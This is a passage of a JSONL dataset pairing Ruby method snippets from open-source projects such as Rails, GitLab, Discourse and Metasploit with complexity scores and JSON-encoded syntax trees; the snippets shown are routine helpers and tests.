end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@community_bots\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"community_bots_for_subforem\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subforem\"]},\"id\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"api_secrets\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}]}","id":"80f458a8-6ef0-4ce0-8fcd-ef0c3618c9b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/create_distribution_service.rb","start_line":6,"raw_source":"def initialize(container, user, params)\n        @container = container\n        @params = params\n        @params[:creator] = user\n\n        @components = params.delete(:components) || ['main']\n\n        @architectures = params.delete(:architectures) || ['amd64']\n        @architectures += ['all']\n\n        @distribution = nil\n        @errors = []\n      end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"creator\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@components\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"components\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"main\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@architectures\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"architectures\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"amd64\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@architectures\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"all\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@distribution\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"930d23b5-c9df-4f3c-9b06-2568292c76ad"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/collection_helpers.rb","start_line":86,"raw_source":"def render_collection_for(builder_class, &block)\n            options = @options.stringify_keys\n            rendered_collection = render_collection do |item, value, text, default_html_options|\n              builder = instantiate_builder(builder_class, item, value, text, default_html_options)\n\n              if block_given?\n                @template_object.capture(builder, &block)\n              else\n                render_component(builder)\n              end\n            end\n\n            # Prepend a hidden field to make sure something will be sent back to the\n            # server if all radio buttons are unchecked.\n            if options.fetch(\"include_hidden\", true)\n              hidden_field + rendered_collection\n            else\n              rendered_collection\n            end\n          end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render_collection_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"builder_class\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"stringify_keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rendered_collection\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_collection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"default_html_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[null,\"instantiate_builder\",{\"type\":\"lvar\",\"children\":[\"builder_class\"]},{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"default_html_options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_object\"]},\"capture\",{\"type\":\"lvar\",\"children\":[\"builder\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_component\",{\"type\":\"lvar\",\"children\":[\"builder\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"include_hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden_field\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"rendered_collection\"]}]},{\"type\":\"lvar\",\"children\":[\"rendered_collection\"]}]}]}]}","id":"08491d59-3e06-40d3-abb0-a4b4ed5e46d9"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":694,"raw_source":"def time_for(value)\n      if value.is_a? Numeric\n        Time.at value\n      elsif value.respond_to? :to_s\n        Time.parse value.to_s\n      else\n        value.to_time\n      end\n    rescue ArgumentError => e\n      raise e\n    rescue Exception\n      raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n    end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"time_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_time\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unable to convert \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" to a Time object\"]}]}]}]},null]}]}","id":"588f1bb7-bb25-49b2-a295-e7e07878af16"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":316,"raw_source":"def test_has_many_going_through_join_model_with_custom_primary_key\n    assert_equal [authors(:david)], posts(:thinking).authors_using_author_id\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_going_through_join_model_with_custom_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"authors_using_author_id\"]}]}]}","id":"c1cecb24-990b-41e6-944c-bbb0f93f558f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb","start_line":2172,"raw_source":"def cmd_db_save(*args)\n    while (arg = args.shift)\n      case arg\n        when '-h', '--help'\n          cmd_db_save_help\n          return\n      end\n    end\n\n    if !framework.db.active || !@current_data_service\n      print_error \"Not currently connected to a data service that can be saved.\"\n      return\n    end\n\n    begin\n      Msf::Config.save(DB_CONFIG_PATH => { 'default_db' => @current_data_service })\n      print_line \"Successfully saved data service as default: #{@current_data_service}\"\n    rescue ArgumentError => e\n      print_error e.message\n    end\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_db_save\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"shift\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"str\",\"children\":[\"--help\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_db_save_help\"]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_data_service\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not currently connected to a data service that can be saved.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_CONFIG_PATH\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"default_db\"]},{\"type\":\"ivar\",\"children\":[\"@current_data_service\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully saved data service as default: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_data_service\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}]}","id":"d352f6e5-f4fa-4209-96f3-e26c4e0e9730"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/open_api.rb","start_line":81,"raw_source":"def resolve_refs_in_hash(spec, path:, root_path:, root_spec:)\n      if spec.size == 1 && spec.keys.first == \"$ref\"\n        resolve_ref(spec, path:, root_path:, root_spec:)\n      else\n        spec.transform_values { |v| resolve_refs v, path:, root_path:, root_spec: }\n      end\n    end","complexity_score":13.13,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_refs_in_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]},{\"type\":\"kwarg\",\"children\":[\"path\"]},{\"type\":\"kwarg\",\"children\":[\"root_path\"]},{\"type\":\"kwarg\",\"children\":[\"root_spec\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"keys\"]},\"first\"]},\"==\",{\"type\":\"str\",\"children\":[\"$ref\"]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve_ref\",{\"type\":\"lvar\",\"children\":[\"spec\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_path\"]},{\"type\":\"lvar\",\"children\":[\"root_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_spec\"]},{\"type\":\"lvar\",\"children\":[\"root_spec\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"resolve_refs\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_path\"]},{\"type\":\"lvar\",\"children\":[\"root_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_spec\"]},{\"type\":\"lvar\",\"children\":[\"root_spec\"]}]}]}]}]}]}]}","id":"217c0c79-db62-431d-b8de-14c0b354d89b"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/exclusion_validation_test.rb","start_line":21,"raw_source":"def test_validates_exclusion_of_with_formatted_message\n    Topic.validates_exclusion_of(:title, in: %w( abe monkey ), message: \"option %{value} is restricted\")\n\n    assert Topic.new(\"title\" => \"something\", \"content\" => \"abc\")\n\n    t = Topic.new(\"title\" => \"monkey\")\n    assert_predicate t, :invalid?\n    assert_predicate t.errors[:title], :any?\n    assert_equal [\"option monkey is restricted\"], t.errors[:title]\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_exclusion_of_with_formatted_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_exclusion_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"abe\"]},{\"type\":\"str\",\"children\":[\"monkey\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"option %{value} is restricted\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"something\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"abc\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"monkey\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"sym\",\"children\":[\"any?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"option monkey is restricted\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}","id":"adff13f8-9064-485e-8624-429a95adad91"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/home_controller.rb","start_line":111,"raw_source":"def test_sanitized_param\n    params[\"something\"] = h(params[\"something\"])\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sanitized_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"something\"]},{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"something\"]}]}]}]}]}","id":"1ddc9a14-fed0-4bee-8add-9990bf244b46"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_assignment.rb","start_line":134,"raw_source":"def similar_name_message(variable)\n          variable_like_names = collect_variable_like_names(variable.scope)\n          similar_name = NameSimilarity.find_similar_name(variable.name, variable_like_names)\n          \" Did you mean `#{similar_name}`?\" if similar_name\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"similar_name_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"variable_like_names\",{\"type\":\"send\",\"children\":[null,\"collect_variable_like_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"scope\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"similar_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameSimilarity\"]},\"find_similar_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"variable_like_names\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"similar_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Did you mean `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"similar_name\"]}]},{\"type\":\"str\",\"children\":[\"`?\"]}]},null]}]}]}","id":"24981f20-b551-4195-86d8-b7a2b03c37ca"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/lib/patron.rb","start_line":107,"raw_source":"def self.attr(name, user)\n      id = user.custom_fields[\"patreon_id\"]\n      return if id.blank?\n\n      case name\n      when \"email\"\n        all[id]\n      when \"amount_cents\"\n        Patreon::Pledge.all[id]\n      when \"rewards\"\n        reward_users = Patreon::RewardUser.all\n        Patreon::Reward\n          .all\n          .map { |i, r| r[\"title\"] if reward_users[i].include?(id) }\n          .compact\n          .join(\", \")\n      when \"declined_since\"\n        Patreon::Pledge::Decline.all[id]\n      else\n        id\n      end\n    end","complexity_score":35.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"custom_fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"patreon_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"amount_cents\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Patreon\"]},\"Pledge\"]},\"all\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"rewards\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reward_users\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Patreon\"]},\"RewardUser\"]},\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Patreon\"]},\"Reward\"]},\"all\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]},{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reward_users\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},null]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"declined_since\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Patreon\"]},\"Pledge\"]},\"Decline\"]},\"all\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"05f6bc53-bac1-4c3a-8df0-185a99b8d700"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/manage/sonic_pi.rb","start_line":83,"raw_source":"def osc_port\n    datastore['OSC_PORT']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"osc_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OSC_PORT\"]}]}]}","id":"a4c4a889-0a06-4c87-9880-2d24cd2710b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/base_query_builder.rb","start_line":69,"raw_source":"def add_time_range_params!(finder_params, from, to)\n          finder_params[:created_after] = from || 30.days.ago\n          finder_params[:created_before] = to if to\n        end","complexity_score":6.88,"ast_json":"{\"type\":\"def\",\"children\":[\"add_time_range_params!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"finder_params\"]},{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"created_after\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"days\"]},\"ago\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"created_before\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},null]}]}]}","id":"d1a60181-8b67-48e8-b121-d77ad742e62e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/file_size_validator.rb","start_line":10,"raw_source":"def initialize(options)\n    range = options.delete(:in) || options.delete(:within)\n    if range\n      raise ArgumentError, \":in and :within must be a Range\" unless range.is_a?(Range)\n\n      options[:minimum] = range.begin\n      options[:maximum] = range.end\n      options[:maximum] -= 1 if range.exclude_end?\n    end\n\n    super\n  end","complexity_score":16.43,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"in\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"within\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Range\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\":in and :within must be a Range\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"maximum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"exclude_end?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"maximum\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"01ab375c-02b2-4e1a-88f7-8399568a1e3c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/discourse_event_helper.rb","start_line":4,"raw_source":"def trigger(event_name, *params, **kwargs)\n    super(event_name, *params, **kwargs)\n\n    if @events_trigger\n      params << kwargs if kwargs != {}\n      @events_trigger << { event_name: event_name, params: params }\n    end\n  